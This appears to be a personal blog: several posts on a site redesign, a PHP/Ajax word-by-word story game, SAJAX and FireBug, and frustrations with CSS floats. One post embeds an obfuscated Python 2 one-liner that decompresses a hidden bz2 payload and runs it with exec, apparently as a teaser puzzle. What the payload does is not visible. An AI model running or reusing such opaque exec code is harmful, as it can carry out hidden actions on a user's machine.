I decided to be a little bit risky this time and do some subtle transparency over large swaths of the layout… it shall be interesting to see the browser compatibility fallout from this one (I laugh at how badly this breaks now in IE) . Here’s a screenshot of it on my desktop for your comparison/reference. Also, here’s the original mockup I made when first envisioning the design. All in all, I’m really happy about the update. The typography is something I fussed with the most on this, and I finally feel like I can be satisfied with the lettering looking good on-screen. Yay! Well, I’m excited and exhausted.

Sorry there hasn’t been much going on here as of late — though I have been busy working on a new art project here that I will disclose more details about as soon as it is ready.

# Abandon all hope, ye who enter here
_=lambda _, __:getattr(_.__dict__, "values")()[__];__=__builtins__;___ =['\'<BZh91AY&SY', 'e3', '93', 'd9', 'e6', '00', '00', '12', '9f', '80pe', '00', '08', '08@@\\n.g', 'dc', 'a0 ', '00P', 'a0', '00h', '00', '00j', "9bS&\\'", 'a9', 'a7', 'a9', '906SH-f', 'c1', 'f6', '8cS', '12', 'a9', 'ad', 'c1', '08', 'ee_', '0b', 'd9d', 'c1', '17', 'd7', '93', 'bc', '9e', 'ceI', 'c0', '1a', '87guj', '0cc', 'aadF', '18', 'ec', '89', '12', 'fc]', 'c9', '14', 'e1BC', '8eOg', '983\''];_one = _(_(__, 92), 46);_1=lambda ___:_(__, 96)(___);_2=lambda ___: _one('', ___);_3=lambda ___:_(__, 112)(_(__, 0111+2), ___);_4=(98, 122, 50);_24=_1(_2(_3(_4)));_6=lambda __:_(_24, 4)(__);exec _6(eval(_one(r'\x', ___))[1:-1:1])

The latter part of this weekend and memorial day were spent debugging the PHP/Ajax story game I wrote about earlier. Why all this debugging you may ask? Well, as insta had put it, I dove in way too fast. I decided that I should move everything over to MySQL and custom database session management. This promptly led me to the brink of insanity and nearly giving up the project entirely. Well, while I have gone insane, I didn’t give up, and sure enough – last night I actually got it working.

Yay! This switch to a database backend has given me the control I needed to implement some new ideas from the past week. After some more MySQL tinkering, and throwing in some JSON magic to pack several variables into one refresh request, things are actually starting to look pretty cool.

For one, you’ll notice a new realtime user counter on the right hand side of the page. This is updated periodically along with the story. You’ll instantly know when people come in, and the counter will decrease once sessions time out. Also, with the added session monitoring capabilities added by MySQL, I’ve switched the refresh data from containing the full, complete story data to incremental additions. This should seriously speed up the transfer times, and make it scale much better as the story gets longer.

Since I was on a roll with this JSON stuff, I also added a variable to monitor whether or not the user has posted the most recent word. This allows me to gray out the input boxes when not available, making the user interface a lot more reactive and intuitive. To top it off, I am now utilizing the very awesome Fade Anything Technique to do those neat Ajax-y fades in the story and the user counter when information is changed.

Try it out and you’ll see what I mean. With these new changes I think this app is really starting to show promise. I’d love to have some feedback on the general feel of the thing and any feature requests. Right now, the next two items on my list are colored underlines to differentiate senders, and an adaptive “smart” refresh timeout to maximise responsiveness and minimize my bills over at NearlyFreeSpeech…

This morning was spent searching for a suitable PHP toolkit to tinker with. The one I finally arrived at is the SAJAX toolkit, a moderately minimal framework for creating simple callbacks and recievers without having to go through the nitty-gritty of the lower-level XMLHttpRequest APIs. After playing around with it for a while, I really like it. There are some things that are quite confusing to me as a first time user, such as the asynchronous nature of things and the effects on variable scope – but all in all it’s quite a nice system to play with.

I also discovered a quite wonderful little Firefox extension called FireBug. It has to be the most clean and cleverly put together all-purpose debugger I’ve ever seen. It’s very beautifully designed, too. It looks to be extremely useful in debugging javascript, css, and xhtml source in the future. It sure helped me out debugging XMLHttpRequests today!

This afternoon was spent scratching my head at things I mostly don’t understand. I figured as a first test project, I would make a little turn-based story creator… just a simple form where users could input a word to add to a continuing story, where the story would be updated in real-time. Hacking pre-existing examples was fine and dandy, though of course it turned out that this was not as simple as I had thought.

The hardest part to implement was my decision to only allow one word to be added per-person in a row. Storing a persistent session identifier – across the asynchronous submissions – turned out to be a nightmare in persistent variable storage. Try as I might, I could not get global variables to work the way I wanted them to. In the end, I resorted to a file hack out of frustration. Perhaps this is truly the way you are supposed to do it? I suppose I’ll only know by learning and doing more.

My little experiment finally worked, and is quite usable: it runs, though it’s quite boring with nobody else to play with. It’s also quite boring looking. However, it really is a shared workspace, and could probably be bit of fun with a few friends. I’m sure similar games have been done before, but it just occurred to me to be a fun project to do. Hopefully it won’t become a spam hole too quickly.

Next in the queue, I’d like to create some way of displaying how many people are viewing the space currently – to bring the aspect of presence much further into the foreground. After all, as one teacher once said to me: you’re not just writing for yourself: you’re writing for your readers!

I was just hanging out early this evening when my good friend Insta popped up and said hello. I showed him a little error page I had been working on, and our conversation rapidly spiraled into a rather random little javascript idea of his that would make a “hella cool” error page. Well, I thought it was pretty hella cool too, so I proposed that we write it. He gave me a few starting pointers, and after a little while I was blindly blazing away at this language I had never seriously used before. Well, one thing led to another, and it turned out I would be spending the next several hours going from nearly nothing to DOM access in javascript to pull off this little effect.

I ended up writing 61 lines of code, ranting at Insta about little bits I didn’t understand all the way, but in the end I think what I threw together looks quite nice. It’s inefficient, a waste of cpu cycles, but it works. And the code looks pretty nice, too. I’m sure I made a bunch of little mistakes out of unfamiliarity with the language, but hey, it works – so what more can I ask for? The script resides in a little easter egg I had stuck in the http error handling code several weeks ago, and subsequently forgot about. See if you can find anything funny (beyond the text) about viewing that page!

Thanks to the power of javascript, my productivity in being mostly unproductive has skyrocketed.

Be it centering objects, making layouts use the maximum amount of space, or simply trying to use floats properly, I am always amazed by how seemingly obvious code does not work the way I should think it does. It seems rather silly to me that such a language would be designed such that web designers must resort to specialized recipes to deal with seemingly simple and common page layout designs. While powerful, CSS seems to become more and more a search for hacks and snippets to make many designs possible. Browser support is also an elusive and secretive gem; unless explicitly stated, what works in one browser will probably at some point fail mysteriously in another.

Tonight, my appreciation for the language fell to a new low. In the mid-day, thinking about my page layout, I decided that I wanted thumbnails posted from my gallery to be aligned to the right of the post, so that post text can wrap around them on the left. I figured this would be a relatively simple fix; I just needed to float the image class to the right and see what happened.

Well, not so fast. I had failed to remember that images when floated will (without a clear property set on a following element) essentially make the following layout flow through and under the image, leaving the image on top of the footer and the title of the following post. After a little searching and reading, I realized this mistake and added the appropriate clear: right; to the .post-footer class. The footer should now make appropriate space for the image in the post. Simple, right?

Again, not so fast. After putting in this little tweak, I found the first post on my page (without any image) being followed by a long swath of whitespace, assumedly caused somehow by my float: right‘d sidebar. Why was the browser making a whole bunch of space for something that wasn’t there? I may never know. Well, debugging this would prove to be a nightmare, so I soon got tired and decided I needed to do some research. I googled CSS float clearing techniques, searching for some trick to make space for the image without involving other floats. Well, I ended up finding this quirksmode.org article describing a trick for making float space work without needing the clear property.

Well, how about that? Reading it worked on most browsers, I quickly tried this new overflow: hidden trick on my .post-content div, and looked to see if it would work. Well, at first attempt, it didn’t. But it was close. This time, space was being made between posts for the image to fit in. However, the footer was still flowing through, underneath the image. This was relatively easy to fix, after I added back the clear: right; line to the footer div, this worked too. The blank space following the top post (which is why I seached for this trick in the first place) disappeared. At this point I really didn’t care why, and was glad that it did.

Then I noticed some mysterious padding being added under the titles of posts. This was directly associated with the existence of the overflow: hidden statement. About a line of space was being added under the titles for reasons unknown to me. I tried hard setting any margins and padding I could think of to 0 (most were already), yet still, this mysterious and unexpected space was being made. After fiddling with it for a while, disappointed that the trick might not work, I tried moving overflow: hidden to the parent div, .post. This worked like a charm. Everything was working as it should have been: space was being made for right-aligned images, text was flowing around them, and there was no longer any weird quirkiness being wreaked upon my page layout. Finally!

This experience I had tonight illustrates my primary frustration with CSS: it makes no sense for achieving simple design tasks. Certain assumptions about the purpose and performance of properties never seem to work out entirely as planned. My attempts at putting an image on the right required an understanding of the float layout system, the subtleties of clear usage, and even an arcane trick barely documented and not well-known – at least not very accessible to me.

Further, this impacts the sanity of CSS as a programming language: as a designer and a programmer, I expect that properties and directives will just work, in a way not so far off from the way they are documented to. In my experience with CSS, and in this example, the subtlety and lack of documentation in getting things to work as intended required so much more fiddling, guesswork, and raw googling than I ever expected to do. Also, pages become so big and complex that when dealing with many layout bugs, there is usually not an obivous quick fix.And I am simply using CSS like a programming language. I don’t even want to imagine the ways one would try to create a GUI for representing these difficulties in a WYSIWYG environment.

When attempting to represent a graphical layout using programming directives, I understand that it is very hard to craft a language that is both simple to use and powerful in it’s creative offerings. CSS really achieved a lot in terms of power in crafting web designs, and especially in controlling the typography used. However, the current state of utilizing CSS in web design is both an exercise in frustration and confusion, as the subtlety of the effects of CSS directives make it (at best) difficult to debug, and the arcaneness of the techniques used takes the considerable learning curve of CSS and shoots it through the roof.

After dealing with CSS a reasonable amount, I can only wonder at the hoops professional web designers must leap through in negotiating between the limitations of their environment and the needs/desires of their customers. As an open source and Linux enthusiast, I make minimum effort to accomodate poorly compliant browsers. I’d rather not think about the far more trouble one has to go to to ensure such compatibility. Heck, it would take so much time to really get fluid with the medium that suddenly, the role of the professional web designer makes so much more sense to me!